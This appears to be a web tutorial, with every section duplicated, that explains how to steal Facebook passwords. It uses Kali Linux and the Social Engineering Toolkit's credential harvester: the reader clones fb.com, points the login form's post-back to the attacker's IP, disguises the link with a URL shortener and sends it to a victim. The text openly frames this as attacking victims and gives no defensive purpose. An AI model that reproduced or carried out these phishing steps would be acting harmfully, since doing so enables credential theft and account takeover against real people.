How to hack facebook using kali linux : CREDENTIALS HARVESTER ATTACK
Do you know ,you can hack facebook password with one fake fb page(phishing).
In this tutorial we will use Social Engineering tool i.e Credential Harvester attack in kali linux.
All you need to do is follow the tutorial as it is to see the Credentials Harvester into the action.
In this tutorial we will use Social Engineering tool i.e Credential Harvester attack in kali linux.
All you need to do is follow the tutorial as it is to see the Credentials Harvester into the action.
WHAT IS CREDENTIALS HARVESTER ATTACK ?
It is a part of SOCIAL ENGINEERING TOOLKIT. In this method the attack started with a creation of phishing page. Attacker set the post back ip address to receive the credentials like usernames and passwords. The attacker can shorten the ip address to make the ip address looks like a genuine url. When the victim visits the url and feed the login details, the post back feature of the page will send all the data to attacker.
It is a part of SOCIAL ENGINEERING TOOLKIT. In this method the attack started with a creation of phishing page. Attacker set the post back ip address to receive the credentials like usernames and passwords. The attacker can shorten the ip address to make the ip address looks like a genuine url. When the victim visits the url and feed the login details, the post back feature of the page will send all the data to attacker.
LET'S DO THIS!!!!!!!!!
Follow this video..........
Follow this video..........
STEPS:
1. Boot up kali linux on your machine and open terminal.
2. Type this command in the kali linux terminal.
root@kali~# setoolkit
3. Enter 'y' to agree the social engineering toolkit terms and conditions.
4. Select the following options one by one from the menu
'1' (Social Engineering Attacks) then
'2'(Website Attack Vectors) then
'3'(Credential Harvester Attack) then
5. Type '2' (Site cloner)
set:webattack> IP address for the post back in harvesting:192.168.x.xxx (your ip address)
set:webattack>Enter the url to clone: www.fb.com
6. Go to Places > Computer > VAR > WWW and move all the files from www folder to html folder.
7. Shorten your ip address with tinyurl.com and send it to the victim. When the victim open the link and enter the login details , you will get the username and password in a harvester text file which is located at Places > Computer > VAR > WWW.
1. Boot up kali linux on your machine and open terminal.
2. Type this command in the kali linux terminal.
root@kali~# setoolkit
3. Enter 'y' to agree the social engineering toolkit terms and conditions.
4. Select the following options one by one from the menu
'1' (Social Engineering Attacks) then
'2'(Website Attack Vectors) then
'3'(Credential Harvester Attack) then
5. Type '2' (Site cloner)
set:webattack> IP address for the post back in harvesting:192.168.x.xxx (your ip address)
set:webattack>Enter the url to clone: www.fb.com
6. Go to Places > Computer > VAR > WWW and move all the files from www folder to html folder.
7. Shorten your ip address with tinyurl.com and send it to the victim. When the victim open the link and enter the login details , you will get the username and password in a harvester text file which is located at Places > Computer > VAR > WWW.
More Detailed Guides
If there's something that isn't clear then there's a 3 post series which covers this method in detail-
- Setting up the background - How Not To Hack Facebook (light read, no technical content, optional)
- Performing the attack on LAN - Hack Facebook via Social Engineering - Credential Harvestor attack
- Performing the attack on the internet - Port Forwarding and use of public IP to extent attack outside your LAN
If there's something that isn't clear then there's a 3 post series which covers this method in detail-
- Setting up the background - How Not To Hack Facebook (light read, no technical content, optional)
- Performing the attack on LAN - Hack Facebook via Social Engineering - Credential Harvestor attack
- Performing the attack on the internet - Port Forwarding and use of public IP to extent attack outside your LAN
Comments